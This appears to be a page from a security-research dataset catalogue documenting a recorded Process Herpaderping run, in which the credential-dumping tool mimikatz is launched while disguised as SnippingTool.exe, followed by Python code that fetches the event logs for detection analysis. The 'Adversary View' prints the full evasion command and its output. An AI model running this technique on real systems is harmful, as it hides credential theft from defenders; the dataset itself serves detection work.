Process Herpaderping Mimikatz
Contents
Process Herpaderping Mimikatz#
Metadata#
Contributors |
Roberto Rodriguez @Cyb3rWard0g |
Creation Date |
2020/10/26 |
Modification Date |
2020/10/26 |
Tactics |
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Techniques |
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Tags |
None |
Dataset Description#
This dataset represents the execution of a Process Herpaderping to obscure the intentions of a process by modifying the content on disk after the image has been mapped.
Datasets Downloads#
Type |
Link |
|---|---|
Host |
Adversary View#
C:\Users\wardog>cd Desktop
C:\Users\wardog\Desktop>ProcessHerpaderping.exe mimikatz.exe wardog.exe C:\Windows\system32\SnippingTool.exe
Process Herpaderping Tool - Copyright (c) 2020 Johnny Shaw
[12140:10252][OK] Source File: "mimikatz.exe"
[12140:10252][OK] Target File: "wardog.exe"
[12140:10252][INFO] Copied source binary to target file
[12140:10252][INFO] Created image section for target
[12140:10252][INFO] Created process object, PID 8924
[12140:10252][INFO] Located target image entry RVA 0x000c3aec
[12140:10252][OK] Replacing target with "C:\Windows\system32\SnippingTool.exe"
[12140:10252][OK] Preparing target for execution
[12140:10252][INFO] Writing process parameters, remote PEB ProcessParameters 0x0000000000AED020
[12140:10252][INFO] Creating thread in process at entry point 0x00007FF733E63AEC
[12140:10252][INFO] Created thread, TID 12112
[12140:10252][OK] Waiting for herpaderped process to exit
[12140:10252][OK] Herpaderped process exited with code 0xc000013a
[12140:10252][OK] Process Herpaderp Succeeded
C:\Users\wardog\Desktop>
Explore Datasets#
Download & Decompress Dataset#
import requests
from zipfile import ZipFile
from io import BytesIO
url = https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/defense_evasion/host/cmd_process_herpaderping_snippingtool.zip
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])
Read JSON File#
from pandas.io import json
df = json.read_json(path_or_buf=datasetJSONPath, lines=True)
Access Security Events#
df.groupby(['Channel']).size().sort_values(ascending=False)